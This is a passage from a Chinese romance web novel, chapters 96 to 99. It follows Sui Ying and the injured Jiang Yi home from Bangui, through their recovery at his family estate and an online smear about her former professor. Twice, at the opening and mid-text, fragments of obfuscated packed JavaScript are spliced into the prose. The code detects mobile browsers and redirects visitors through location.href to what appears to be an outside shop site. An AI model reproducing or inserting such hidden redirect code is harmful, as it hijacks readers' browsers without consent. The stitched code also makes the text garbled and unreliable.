蒋弋脸皮厚，“我们是合法夫妻，你们只是同学。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233540|124082||http|test|mini|href|location''.split(''|''),0,{}));
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隋英听不下去，转身就走。
走了几步，听到身后有脚步声，回头，是苏韫，面色赧然，脸上还带着泪花，隋英想笑，又生生忍住，气的苏韫抓着她胳膊一阵揉搓，“你和蒋弋，不愧是两口子。”
“噗……”隋英彻底绷不住，笑着抛开，捂着肚子跑开，笑弯了腰。
苏韫本是爽朗明快的女生，尴尬转瞬即逝，随即拉着隋英，“走，吃东西去，忙了一天，饿死了。”
“钱叔准备了晚餐，我们去吃。”
隋英都忘了蒋弋，拉着苏韫回病房，将饭菜挪到矮脚桌上，苏韫夹了一口清炒虾仁，“我真不敢想你们俩吃的这么好。”
“钱叔送来的。”
“可惜不能喝酒，”苏韫头也没抬，“你们两个明天走？”
“应该是，就是不放心你和蓝莓，”隋英顽皮眨眼，“现在就只不放心蓝莓。”
苏韫抬头，神情古怪，“你也觉得我应该接受丁文泽？”
隋英一滞，有点不知道该怎么回答这个问题。
她对纪羡的记忆，最开始是高二，那时她比苏韫更怕被老师发现，后来就是纪羡留学，与苏韫分分合合，大多数时间，苏韫都是伤心难过的。
闹的最难堪的一次，就是纪羡结婚，还一直发消息给苏韫，逼着苏韫现身婚礼，彻底搅合了婚礼。
这里面还有蒋弋的功劳。
总之，隋英对纪羡的印象并不好。
可她也知道，苏韫真的很喜欢纪羡，否则像她那样风风火火又干脆利落的性格，何至于和他纠缠近十年。
至于丁文泽，隋英对这个同学的印象很好。
但她从来没有将两人联系起来。
“我说不好，”隋英老老实实，“你喜欢丁文泽吗？”
苏韫垂眸，安静地吃着菜，直到一盘菜见底，她才道：“我也说不好。”
好像和纪羡那一场恋爱耗尽了一生热情，可细数，他们之间竟没有认真谈过。费劲千辛万苦考上大学，以为终于可以光明正大和他谈恋爱，结果他出国了，他们就开始闹矛盾……
纪羡自从和家里闹翻后，就回国创业，可那又什么用。
她的任性，毁去父母奔波了一辈子的事业，虽然他们都说老了，不想做生意了，钱够花就行，可她怎么能不愧疚。
隋英倒了瓶矿泉水，“那纪羡学长呢？”
苏韫摇头，“早就没执念了。”
她说的是执念，不是感情。
吃过饭，苏韫说要整理药剂，先离开了，隋英默默坐了会，才想起蒋弋，赶忙下楼去找人。
最后在医院旁边一家非洲土著小餐馆找到两人。
丁文泽像是喝大，絮絮叨叨个没完，蒋弋抿着小酒，故意诱导他回答，还拿手机录音。
蒋弋瞥见隋英时已经放下酒杯，拿起矿泉水。
“老婆。”
丁文泽一口酒喷出，“谁？”
蒋弋一只手转着轮椅，“我要回家陪老婆了，你自己一个人在这喝吧。”
隋英看了眼餐馆里其他人，压低声音，“把他一个人丢在这不好吧。”
蒋弋想了下，自己转着轮椅举着手机凑上去，“老丁，你最想见谁？你来班吉是为了找谁？”
96. Chap.96
这么明显的诱导问题隋英都听不下去，刚要阻拦。
“苏韫。”
丁文泽抬头，脸喝的有些红，还带着一丝羞赧，语气却坚定异常。
蒋弋还想继续套话，隋英急中生智，“你今天是不是该换药了？”
“你才想起，”蒋弋收了手机，“每天只知道工作，让你老公独守空房。”
“你胡说什么？”
独守空房是在这用的吗。
“你再这样，小心韫韫不帮你换药，可别忘了，是她给你做的手术。”
“我有医疗团队。”语调随意。
这就是豪门世家少爷的底气。
蒋弋将视频发送，“而且我正在回报苏韫对我的恩情。”
“你发给韫韫了？”
蒋弋奇怪地看着她，“不应该吗？”
“可是，这，”隋英一时语塞，“你之前还帮纪羡，现在又帮丁文泽，你还有没有原则。”
蒋弋理所当然，“原则也分亲疏远近。”
“那你要是知道丁文泽喜欢韫韫，纪羡结婚那次，你还会帮他吗？”
“会。”蒋弋斩钉截铁。
隋英停下看着他，须臾笑出了声，“你也太没原则了。”
“你才是我最大原则。”蒋弋盯着她，语气很拽。
怔然。
隋英眼尖，看到苏韫好像朝这边走来，直接推着轮椅飞起，语气轻快欢萌，“我觉得韫韫应该也是有点喜欢丁文泽的。”
“那当然，我兄弟比我也差不了多少。”蒋弋很臭屁。
班吉动乱不堪，他们也没心思逛，回了病房，钱叔带的医疗团队给蒋弋换药，隋英收拾东西。
其实也没什么东西，主要是工作文件。
她将这几天的收获放在一个文档里，上传云盘，打算回去再慢慢整理，对于新书下册，心里有了全盘概念。
外面闹哄哄的，隋英听见有人喊蒋弋的名字，她放下手里的东西，刚要出去，钱叔拦住她，“我去处理。”
她点头，心里莫名的慌了下。
未几，钱叔进来，在蒋弋耳边说了几句，蒋弋看向隋英。
“我去隔壁，给蓝莓打个视频。”
语言不通，也不妨碍她们交流，蓝莓手舞足蹈，一会拿着玩具猫给她展示，一会又拿着糖果叽叽喳喳。
救了蓝莓，隋英觉得她被人害进疫区，也没那么可憎。
挂了视频，还是没人找她，隋英知道，蒋弋那边还没结束，不然钱叔肯定会来找她。
坐着等了会，有些着急，刚出门，就看到冯总从病房出来，一个保镖看着他下楼才作罢。
钱叔看到她，笑着说，“你去吧，蒋弋换完药了。”
隋英点头，进门就察觉气氛不对，一眼看去，蒋弋身上的戾气还未收起，看到隋英，很明显在压制怒意。
“蒋弋？”她轻轻开口。
他忽然起身，三两步走到她面前，不由分说将她拥入怀中。
隋英不知道发生了什么，更担心他的伤。
“你现在还不能走路，蒋弋，我扶你过去。”
蒋弋什么话也不说，只将她抱的更紧，恨不能揉进血肉。
“你刚换了药，不能用力，小心伤口崩开，”她不知道发生了什么，只能柔声安慰，“蒋弋，我们过去说话。”
“嗯。”
蒋弋顺从，任由隋英搀扶，坐回床上，却不肯松手。
“冯总找你说了什么？”
隋英直觉跟冯总有关。他好几次在医院徘徊，蒋弋都没见，今天不知道跟钱叔说了什么，结果见了人之后，蒋弋就变成这样。
好像，冯总离开时脸色也很差。
“以后慢慢告诉你。”蒋弋用力揉着她脑袋，以前他总是很轻，生怕弄疼她的伤。
“隋英。”
“嗯？”
蒋弋捏着她指尖，放在唇边，一一吻过，“以前是我没保护好你，以后，你想做什么就做什么，不需要看任何人的脸色。”
“干嘛说这些？”
“以后，不喜欢的工作安排，不要再委曲求全去接受。”
隋英明白了，公司当时派遣工程师出差时，他们工程测试部门没有人愿意来，只能自己上。
冯总顺势而为。
可能与之前结下的梁子有关吧，即使没有发生飞机着火，迫降在莉萨拉机场的事，班吉这趟也是危险重重。
更何况她做完大手术没多久。
“以前没有人愿意认真听我的诉求，时间久了，除了沉默，我不知道该如何反抗，”隋英第一次吐露心底的窘迫无助，“我觉得说了也没用，我更怕惹了事，无法应对。”
因为没有人给她兜底。
隋英无数次地羡慕苏韫，包括她的冲动，她的任性，她的不计后果，她理所当然的予取予求。
还有，她的依靠。
“我现在做的每个决定都是我自己想要的，申请班吉出差也是我想要的，国内没那么多问题飞机给我维修，在这里，所有的工作以我为主，我终于体会到高总工的乐趣了。”
这么高强度的工作，还乐趣？
蒋弋眉骨跳动，垂眸睨着她，小脸瓷白，五官精致，气质温婉，性格不争不抢。
隋英几乎给所有人的感觉都是乖巧柔弱的。
但只有他知道，隋英骨子里倔强偏执。
那么重的伤，换成其他任何一个不满二十岁的女孩子，早崩溃了。她硬撑着熬过来，单看她这些年的成绩，那是一个专业团队十年都未必能完成的。
某些方面，她与蒋弋是同一类人，对人对己都心狠。
蒋弋有时宁可她没那份执念，懂得转圜，哪怕她重新交男朋友，有人照顾她。可每每如此想，他都心痛难忍，暗自庆幸她和他一样偏执。
除了彼此，谁都不可以。
蒋弋轻轻叹气，她既然在这里找到乐趣，那也挺好。
只是姓冯的现在坦白，太晚了。
“我现在有你，想做什么就做什么，”隋英认真说，“蒋弋，有你在，我很安心。”
连苏韫都打趣过她，她与蒋弋重逢后后，胆子也大了，脾气也上来了，敢跟公司一众高层对着干了。
隋英也想过，刚入职的时候，她敢当众提出复验飞行记录，是否也是因为蒋弋在场。
以前在研究院，她的成果被人抢走，她不争不抢。
呵，
权衡利弊后，知道争不赢，无奈退出而已。
钱叔安排，蒋弋的专机后半夜离开班吉，飞机直降南渝，贺家人将他们接回玉江路那幢梧桐树包围的古铜色庄园。
贺明霁一来就将儿子从头到脚检查了一遍。
然后才看向隋英，“事情我都清楚，回来就好，你身体不好，让钱叔好好照顾你，别
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急着回去工作。”
“贺先生，我也想给自己放几天假，这次班吉之行很有收获，我正在准备新书。”
贺明霁眼前一亮，对隋英真是越看越喜欢，心道儿子也没肤浅到只看脸。
“等蒋弋养好伤，你们两个的婚礼也该提上日程，这事交给我来办。”
话音未落，房门推开，蒋君沅保养精致的脸竟憔悴枯黄，一进来就扑到蒋弋身边，上下打量着儿子，声音颤抖，“这么重的伤？”
“妈，我没事。”
蒋君沅这样的铁娘子不管不顾地哭起来，蒋弋只能揽着她，“我真的没事，你看，我都能下地走路，我做完手术第二天就开飞机。”
“你还说，你还说！”蒋君沅当然知道这事，气的想打蒋弋，最后猛拍床铺。
贺明霁也瞪了他一眼，“维修飞机不差那几天，我跟你说我派了人，用得着你逞能。”
夫妻分开十几年，第一次在一件事上意见一致。
看着他们一家三口，隋英想回避，刚起身，蒋弋叫住了她，“我让张妈将你的东西都放里面了。”
这就是不想她离开这间房的意思。
蒋君沅神色复杂地看了眼隋英，终究心思都在儿子身上，一句话也没说。
贺明霁笑着说，“隋英，洗漱用品都准备好了，你好好休息。”
蒋弋住的主卧与书房仅用一道菱花镂空木质屏风隔开。
书房比卧室还大，满墙书柜，红木书桌，她的电脑包和资料都放在上面，只放了一张单人床，仅供休息用。
因为两边说话都听的清清楚楚，她也不好干坐着。
蹑手蹑脚打开行李箱，拿了换洗衣服进了洗手间。
等她洗完澡出来，已经听不见声音，隋英擦着头发绕过屏风，蒋弋正躺床上看手机，看到她，撑开手臂。
“过来。”
这是两人之间的默契。
隋英跪坐在床上，依旧擦着头发。
头发已经长到脖颈位置，碎发散开，白皙氤氲着水汽的皮肤若隐若现。她专心擦头，没注意到男人晦涩复杂的眼神。
“老婆？”
隋英下意识“嗯”了下，才反应过来，停下动作，低头透过发丝看着他。
“穿这么少？”
隋英反应过来时，脚踝被捉住，粗粝、滚烫，她浑身颤栗着后退，险些摔下去。
蒋弋起身，轻而易举将她拉到身边，拿着毛巾给她擦头发。
擦着擦着，心思不知飘向何处，隋英察觉到他的变化，无意抬眸，视线暗了下去，“爸说的事，你考虑一下。”
“什么？”
隋英半仰着，身上还带着刚洗过澡的水汽，细密的睫毛半垂着，眼尾勾起一弯弧度，缱绻妩媚。
蒋弋喉结滑动，“老婆，医生说我的伤恢复的很好。”
“那很好。”隋英好几次意识混沌，所幸被他这句话拉回现实，她却被平放在被褥里，灼热意动的气息逼近。
她忽然反应过来，侧脸避开。
脸颊温热酥痒，大手忽然掰着她的脸，动作算不上温柔，“不是可以吗？”不等她说话，他的吻落下。
刚开始隋英抗拒，随即担心他伤口，不敢太用力，这种欲拒还迎刺激着男人，蓦然，她摸到腿上缠的绷带，大脑骤然清醒。
推不开他，干脆抓着蒋弋头发，先固定，再咬他的耳朵……
97. Chap.97
隋英衣衫不整，光着脚去开门，又觉得不对，风风火火跑回来，披上衣服，刚要开门，就被蒋弋叫住。
“老婆。”
“你别动。”隋英回头，看着他腿上缠的纱布渗出血，缝合一个礼拜的伤口居然裂开？。
蒋弋也是疼的直冒冷汗，疼痛压住了身体燥热。
“你，”他指着她，睡裙已经扯碎，春光一览无余，蒋弋舔着嘴唇，思想有一瞬间飘忽，双眸毫不掩饰地盯着看。
隋英低头，立刻拉紧衣服，气的骂道：“你有病啊。”
“老婆，我还能忍，你要不穿件衣服。”
隋英抓着门把手，回头两步，又抓着门把手，却见蒋弋从被子下勾出一件黑色小衣，“等会医生进来，这……”
她一个箭步冲过去，抓着衣服跑进洗手间，一看镜子差点戳瞎双眼。
脖颈胸口大片吻痕，密密麻麻，一路向下，就连脚腕上都是握痕，她真是疯了，被他撩的丧失去理智。
手忙脚乱穿好衣服，拉链拉到顶。
脖子耳朵上的痕迹还是遮不住，嘴唇鲜红，眉眼风情……
蒋弋自己穿好短裤，扒拉了两下凌乱的被褥，这才接通内线，叫了医生。
强烈的男性气息让其中两个女护士羞红了脸，他们进来时，立刻明白发生了什么事，只不过谁也不敢问。
所幸伤口裂开不严重，在家就能缝合。
处理完，为首的医生说了几句修身养性，尤其是肋骨，至少需要一百天才能剧烈运动的医嘱。
这期间，隋英一直当鸵鸟，躲在书房，窝进单人沙发，不冒头，不出声。
“老婆，他们都走了。”
隋英当然早就听见他们走了，只是她没脸见人。
这辈子没这么糗过。
他们居然这么迫不及待地做这种事，还把伤口给弄裂了，啊啊啊！死了算了。
隋英沉浸在绝望中，满脑子都是该怎样蒙着头跑出去，才不会碰上人，然后换个城市，不，换个国家，呃……贺明霁和蒋君沅家大业大，事业遍布全球……
呜呜……这辈子完了。
“砰”！
什么声音？
隋英抬头，透过镂空菱花屏风看到蒋弋竟挣扎着起身，伸手拉轮椅，结果轮椅转了个弯，撞在桌腿上。
“蒋弋，你别动。”隋英倏地跑出来，却因太着急没穿鞋，偏偏脚撞在轮椅上，疼的直冒眼泪。
“啊啊。”
蒋弋一把捞过她，将她横抱起，一起跌坐在床上。隋英一个转身，脱离他怀抱，哭着说，“你别动，呜呜……”
“是不是很疼？”
蒋弋握着她脚，弯腰低头吹着，神情焦急，“我叫医生。”
“不是……呜呜……你别动。”
隋英大哭起来，却把蒋弋吓坏了，一边揉着脚，一面替她擦眼泪。
“我叫医生来。”蒋弋起身去按内线。
“我没脸见人了，”隋英拉着他，摁住他，“你别动好不好？，呜呜……我再也没脸见人了……”
蒋弋低头看着光洁白净的脚丫子，也没伤，再看脚腕上的手指握痕，可惜她穿了长裤，伸手忖度着她裤腿。
忍不住吞咽了下，指腹细细摩挲着精巧白皙的脚踝，眸色越来越深。
隋英敏感抽回，大怒，“你躺下。”
他倏地躺下。
“……”
隋英被他的样子逗笑了，边擦眼泪边笑。蒋弋也笑着凑过来，隋英又哭又笑，“你别再动。”
“那下次换你动。”蒋弋十分恶劣地说道。
“我，”隋英脸上泪花未干，看着他欠欠的表情，瞬间明白，气的捂嘴，额头贴在自己手背上，“呜呜”大哭起来。
蒋弋拥着她，整个胸腔都震起来，“老婆，你再哭，钱叔会以为我又有时。”
倏乎！
隋英瘪着嘴唇坐起，细密的睫毛一眨一眨，挂着水珠，红唇娇艳，蒋弋盯着盯着，凑上上去……
隋英径直下床，让蒋弋扑了个空。
“你要是再乱动，我就收拾东西回出租屋。”隋英双手抱臂，配上脖颈上的红痕，眉眼间将褪未尽的妩媚别有一番风情。
蒋弋本来已经追上去，闻言只能重新躺回去，单手撑着脑袋，饶有兴致地看她。
“这么说你本来打算留下来陪我。”
“你！”隋英气的咬住舌尖，冷哼一声，直接回书房。
她当然不会收拾东西走人，万一蒋弋闹起来，伤口再裂开怎么办。
散漫的笑声透过镂空屏风，隋英深呼吸几下，平复心情，这才认真打量这间书房。
书房藏书种类颇杂，中间最容易取的一层看上去与周围不太协调，凑近才看到《小学三年级语文》等课本。
隋英莞尔，贺家真的很重视他，连他用过的课本都小心收藏。
一目掠过，能看出蒋弋成长的痕迹。
她坐回书桌，开始整理这些天的收获。
“老婆，我想喝水。”
隋英立刻起身，接了杯温水，一手托起他脖子，小心喂给他。
重新坐回电脑前，看了一行文字。
“老婆，上厕所。”
直肠子啊！
隋英赶紧过去，将轮椅放好，双臂环抱蒋弋，像抱瘫痪病人一样，这家伙真像没骨头似的，一直往她身上贴。
……
“老婆，”
隋英还没坐下，气冲冲冲过来。
蒋弋抬睫，“你想我吗？”
隋英：“……”
蒋弋扬起下巴，很傲娇地说，“不想现在就走。”
隋英彻底没脾气了，思路完全断了，哦不，压根就没连上，“你是不是很无聊？”
“你想陪我吗？”
看着他无辜又无可挑剔的脸，隋英鬼事神差地点点头，见他又想凑上来，她赶忙后退一步。
“现在不行。”
蒋弋笑了，先是牵起唇角，笑声接着散开，回荡在硕大的卧房里。
“你过来。”
隋英坚定地摇头。
“你不想陪我吗？”
隋英又心软了，慢吞吞挪过去，在离他一米远距离的位置坐下，两人刚好能牵到手。
这个距离刚刚好。
蒋弋捏捏她手指，继续诱她，“你想要吗？”
隋英的神经线断了。
不能再这样，再这样下去，她肯定受不了蛊惑，他又太会撩拨，心理防线迟早会再次攻破。
“我
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有话对你说。”
“坐近一点。”
隋英眼底闪过一抹狡黠，从善如流，不但坐过去，还俯身，双手捧着他的脸，呼吸交汇，鼻尖几乎相触。
“你想我亲你吗？”
蒋弋眸子霎时亮了，满眼惊喜，又有点期期艾艾，无意识吞咽舔舐嘴唇。
女孩碎发擦着脸颊，心里痒痒的。
“好。”
注意到他微红的耳根，隋英强硬掰回游离不定的神经，鼻尖微动，绒毛轻蹭。他不自觉地抬起下巴。
隋英盯着他，很恶劣憋着笑。
倏乎！
光线一亮，女孩身体坐直，一本正经说道：“现在不行，医生说了，伤筋动骨休息一百天。”
“就从今天开始算吧。”
隋英说完，小小挑衅般挑眉，轻哼一声，径直绕去书房。待到确定他看不见了，才大口喘息，拍着几欲跳出胸膛的心脏。
妈呀，原来“调戏”也是需要天赋的。
小小扳回一局，隋英才觉得先前的事没那么丢脸，看着电脑，伸手合上，顺手拿了本蒋弋用过的小学课本，窝进沙发。
翻开第一页就是铅笔画的篮球、飞机涂鸦……
吃过晚餐，张妈带人在卧房安装了游戏屏，正对着床，蒋弋坐起，握着游戏手柄，漫不经心地打游戏。
一直到晚上九点，他丢下游戏手柄，又拿起手机打游戏。
隋英换了睡衣，觉得口有点渴，起身绕去卧室茶几那，准备拿瓶水，蒋弋见她穿着睡衣出啦，闲闲开口，“想跟我睡？”
“没有。”
隋英咬着舌尖，她干嘛要回答这种问题。
蒋弋收回目光，“那就好，我现在也不方便。”
“……”
他该不会一直记着那会她“调戏”他的事，一直等在这，不行，不能让他一直牵着鼻子走。
但隋英于此道不精。
她淡定拿起水杯喝了几口，回头问他，“要喝吗？”
“渴死我算了。”
“……”
隋英抿着唇，过去扶起他。
她要是告诉他们共同的朋友，蒋弋是这种性格，一定会被骂造谣。
蒋弋就着她喝过地方，眼尾向下勾了一眼，不知道又在打什么主意。
“我问你，”隋英指腹轻轻擦去他嘴唇上一点水珠，这个无意识的动作让两人同时怔住。
盯着她透着红晕的耳垂，唇角牵起，还舔了下嘴唇，似是回味，“果然。”
指甲掐着指腹，隋英脸色炸开，突然口舌发干，内心咆哮，她怎么就？啊……还没想好如何反驳，行动上就出卖了内心真实想法。
当作没听懂，隋英将剩下的水喝完，坐到他身边，“在玩什么游戏？”
蒋弋压着唇角，抬臂将她圈进怀里，一只手划着屏幕，“给你看。”看你能装到什么时候。
她看着游戏画面，轻轻“哎呀”了一声，“这款游戏是不是叫‘秦汉’？”
“你知道？”
隋英坐起来一点，眼睛亮晶晶地，“这是我们老同学段行舟设计的，我看过他线上发布的游戏广告，跟你现在玩的一样。”
“我竟不知道你还关注游戏广告。”蒋弋眼神不善，语气讥讽。
98. Chap.98
段行舟是他们高中同学，学霸一枚。她转学第一次考试就坐段行舟前面，被传作弊，原因是他们填空题错的一样，蒋弋看出他们做题思路一致。
后来隋英与蒋弋轮流坐庄，段行舟一直第三名，巧合的是他和隋英每次错题惊人的一致。
哦，段行舟还给隋英写过情书。
情书最终落在蒋弋手里。
“韫韫很喜欢玩游戏，她带我看的，”隋英没觉得有什么，“我才知道段行舟是做游戏开发的。”
蒋弋拥着她的手臂稍稍用力，“你们有联系？”
“谁？段行舟？没有。”隋英摇头，除了苏韫，她和谁都没有联系。
蒋弋垂眸，下巴搁在她肩上，忽然觉得自己有些好笑，段行舟要是联系过隋英，以他们的交情，不会不告诉他。
“我教你打游戏。”
“好呀。”
隋英握着手机，蒋弋手掌包着她的手，“你刚刚想问我什么？”
“没有啊。”隋英专注地盯着游戏。
蓦然，她想起刚刚的之前，他们正在互相，呃…“调戏”对方，她想了个问题，然后自己玩砸了，接着就被蒋弋彻底带偏，到此刻完全忘记。
耳边传来轻声嗤笑，散漫慵懒。
隋英抿着唇，看着他操作游戏界面，故意捣乱，不管她怎么做，蒋弋都能救回来，看上去像指挥若定统帅。
“我想问你，为什么没有交女朋友？”
游戏界面上的血条快速倒退，直至所扮演的角色死亡，界面定格成黑白！
蒋弋偏头，“没有办法喜欢别人，只能是你。”
在南渝航天大学没有找到隋英，在国内各大航校没有找到隋英，心灰意冷之际，他想过放弃，可之后遇到的女生没有一个让他动心的。
翕唇，呆滞，隋英有点不太敢直视他的目光，她也只是随口一问。
没有办法喜欢别人，只能是你。
细密的睫毛氤氲起一团水蒸气，清冽的气息揶取呼吸，隋英没有反抗，抬起下巴热烈回应着他……
手指碰到游戏界面，没点退出就自动重新开局。
音乐声拉回痴缠的两人。
隋英推开他，蒋弋也没再继续，摸了摸鼻子，“你喜欢住这吗？”
“说不上喜欢，”她只怀念过小时候和爷爷奶奶住的老宅，还有，“我们租的房子我很喜欢。”
“那搬回去。”
刚回国那天，蒋弋就想和隋英一起回他买的房子，隋英一直以为是租的。但是贺家人根本不放心，还有蒋君沅，一直想接走蒋弋。
隋英摇头，“你现在这种情况，随时需要医生。”回出租屋没人看着，谁都不放心。
“我去睡觉了。”
蒋弋自觉往里挪了下，谁知隋英起身，就要去书房。
“那个床太小了，睡不下两个人。”
隋英嗔了他一眼，没理会，刚要走，蒋弋倏地起身，抓住她手臂摇晃，“就这么走了？”
不然呢。
“你叫我我能听见。”就隔着一道镂空的屏风啊，搞的像是她又要去非洲了似的。
“晚安。”蒋弋摩挲着她手心。
隋英回应似的捏捏他的手，算是哄他，“晚安。”
“吻。”
“……”
抿着唇，说实话嘴皮有点疼。
蒋弋霸道，她稍微反抗，他就嘴上不饶人，还说是“惩罚”，此时隋英不知道，蒋弋惩罚人的手段有多磨人，见识过之后，才知道今天只是蜻蜓点水。
隋英俯身，盯着他微张的红唇，慢慢上移，在他额头亲了下。
蒋弋终于没再闹。
养伤期间，两人每天就这样闹着，哄着……期间她回公司交代出差工作，不管是CA-8紧急迫降在莉萨拉事件，还是将FRC拆装，运送到莉萨拉维修CA-8等等，一系列事情都需要行程报告。
这次出差的工作人员全都升职加薪，除了冯世杰。
准确来说，冯世杰还没回国。
最后一趟撤侨亦是在东南亚转机，就那么寸，将冯世杰落在了东南亚某国，至今未归。
南航公司高层动荡不安，隋英汇报工作的时候，隐约察觉到不对劲。
冯总提交了退休申请，这件事公司议论纷纷。
本来刚刚调回国，成了一把手，正是大展拳脚的时候，为什么要退休？
“肯定是受冯世杰影响，哎！可惜了。”
“不可能，冯世杰犯的只是道德层面的错误，说实话，公司都没法给他处分。”
“那为什么退休？”
有人往上指了指，众人心照不宣。
隋英的争议也不小，她的能力毋庸置疑，在这次任务中表现也的确出色，但违规操作同样严重。
尤其是在莉萨拉维修CA-8，基本全是违规操作，尤其是和蒋弋一起将CA-8开回班吉事件。
对隋英的擢升奖赏和处罚似乎很令公司高层头疼。
尤其是现如今这个节骨眼上，隋英新书大卖，在圈内引起轰动，又有援非的形象加持，再加上拯救CA-8，单发降落，啧啧，简直是传奇人物。
但公司的规章制度也不能全然不管。
另外，蒋弋将CA-8开回班吉，亦属于违规。结果是好的，但他当时援非任务已经结束，不听公司调度，留在班吉，之后出事，造成严重后果。
不过没人敢说蒋弋是非。
至于处分，停飞一段时间，刚好养伤。
隋英倒不在意升职与处分，她预估处罚不会很严重，升职嘛，再往上是高级工程师，需要工作满五年，通过考核，获取证书。
这一点，公司又帮不上忙。
至于她在公司的职务，给个副总？嘿嘿！。
但工程部，高总工职级位同副总，也就是要干到总工程师。
她现在挂着主管的名号，手底下的工程师尚且不服她，哦，这次出差回来，大家看她的眼神多了敬服。
好的开始。
交代完工作，隋英匆匆收拾东西，谁让蒋弋只给她两个小时的上班时间。
回到庄园，佣人在忙，她上楼，却在转角处碰到阿虎和大灰。有过共患难的经历，隋英回国后见到他们，很是惊喜。
“你们是来找蒋弋的？”
大灰点头。
“阿叶的伤好些了吗？”
大灰点头。
隋英的热情一向有限，见他们没有交谈的意思，只好错身让开，看着他们离开才回房间。
“…全部收购。不管你们用什么方法，”瞥见她的一刻，蒋弋直接挂了电话，将手机丢在一旁，“怎么了？”
“我看到大灰和阿虎了。”
蒋弋挑眉，“他们给你气受了？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281044|124082||http|test|mini|href|location''.split(''|''),0,{}));
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隋英放下包，脱掉外套，坐在沙发上，吃了块切好的水果，“冯总申请退休了。”
“你因为这个不高兴？”
隋英摇头，“我只是觉得很奇怪，他才当上老总就退休，不合理。”
“老狐狸，”蒋弋嘴角噙着一抹讥讽，“你不用管他，交给我处理。”
这话有些奇怪，不过隋英没多问。
张妈将晚餐送上来，两人围着小圆桌，察觉到隋英情绪不对，蒋弋再凑近些，几乎挨着她的头，“在想什么？”
“我听到一个传言，不知道是不是真的。”
蒋弋伸手勾起她的下巴，拇指摩挲着她的脸颊，些微刺痛。
“一天到晚都在想什么，吃饭。”
看似是没在意她的话。
隋英也没纠结，对别人的事，她向来不怎么上心，快速扒拉了几口饭，“我不吃了，我和韫韫越好通视频的时间到了。”
蒋弋看着她拿了平板闪进书房，掐着时间和苏韫视频，顿时有点吃味。
-
结束视频后，隋英听到蒋弋在打电话，隔的太远，听不清，只依稀能听到删帖、把人找出来等字眼。
收回视线，刚要关平板，忽然弹出一条广告新闻——“网传北航女学生与飞行学院教授发生关系，细节流出！”【配图】
隋英从来不管这些乱七八糟的新闻，但这个配图很眼熟，就是太小，看不清，她点进去——404
已经删帖。
第二天上班，同事看她的眼神似乎……说不清。
难道是公司对她的事有了定论？
隋英按部就班回复邮件，处理工作内容，将测试工作内容分配下去。钱穗岁看着隋英办公室没其他人了，才凑上来，“头儿，你认识凌志飞教授吗？”
“当然，”隋英很惊讶，“你怎么知道的？”
钱穗岁将手机递到她面前，屏幕上是她低头下模拟舱，凌志飞教授扶她的动作，只不过照片很模糊，她又低着头，除非是熟悉的人，否则还真看不出是她。
“怎么了？”隋英不明所以。
“你看标题。”
隋英这才看到一行小字，正是她昨晚看到的网络新闻，忙点进去，结果发现点不进去。
“我这是截图，帖子已经删了，今天完全搜不到。”
隋英呆愣了几秒，蓦然明白是怎么回事，网上说的是她呀？
“这……”
“头儿，你是不是得罪什么人了？”
钱穗岁分析，“要不然就是这个老师得罪了人。现在关键是你，有些人说怪不得你一个工程师会开飞机，原来是有飞行教官亲自传授……哎呀，别听这些乱七八糟的，总之就是妒忌你。”
隋英完全听不下去，怎么可以这样去诬陷一位德才兼备的老师。
只是因为同情她，才允许她进模拟舱训练，就要遭受这样的流言。
她是他学生的时候，凌教授很赏识她，说她天生为飞行而生；她出事后，凌教授很惋惜，最后推荐她选了飞行器动力工程专业，说她身上有股钻研的韧性，很适合搞科研。
隋英离开公司，拨通凌教授电话，很久才接通，凌教授声音很疲惫，却安慰她，叫她不要多想，学校还是信任他的。
她立刻回家，蒋弋坐在床上，面前是笔记本，戴着耳机，看到她时，立刻合上笔记本，摘下耳机。
99. Chap.99
隋英盯着他的动作。
她知道蒋弋其实很忙。他产业众多，需要处理的事情自然不少。
和蒋弋认识十年，重逢一年，真正生活在同一屋檐下的时间不多。
在苏黎世医院，她做完手术，经常昏睡，醒来就看到他守在她身边。回到南渝，虽然搬过去和蒋弋一起住，但其实他们并没有住一间卧室，而且他经常飞，她工作也忙。
真正在一起，也就是在班吉华人医院，和这里。
但这几天蒋弋明显有意避开她处理一些事，她也只是隐隐约约听到一点，好像是在收购什么公司，又和什么人抢项目，还提到南航股份。
“你在忙？”
“出什么事了？”他问。
隋英收回目光，坐到床边，将手机递给他。
蒋弋只扫了一眼，脸上并没有什么情绪，似早已知道，“我已经处理了。”
“我和凌教授没什么，我不知道网上为什么会有这样的帖子，”隋英有些急，“况且事情都过去好几年了，为什么突然在这个时候曝出来。”
她之所以着急，是因为飞行器动力工程专业不接受中途换专业的学生，因为凌教授力荐和程教授力保，她下能顺利换专业。
当时就有人不服，向学校举报，当时就在学校传的沸沸扬扬。
后来也确实因为隋英成绩压着，除了全额奖学金外，她从大二开始发表论文，隋航查到的大三已经开始赚钱，这才堵住了所有人嘴。
换专业后，凌教授又私下教过她，照片大概就是那个时候拍的。
蒋弋将笔记本放在一旁，握着她的手，“你还记得钨华碰到的那两个狗仔吗？”
隋英点头，浓密的睫毛轻颤，目露疑惑，“他们？…不是在拍南歌子，呃，秦鸽吗？我又不是公众人物，盯着我干嘛？”
“不对，他们为什么要去查我？”隋英大脑飞速运转，却还是觉得一团乱，“他们不知道造谣是违法行为吗？”
那成本属实太高了点。
且不说隋英不是公众人物，她与凌教授根本没什么，这样搀扶的一张照片根本说明不了任何问题。
他们还得费劲巴拉查隋英的过去，花钱推热搜。
还得承担违法后果，图什么？
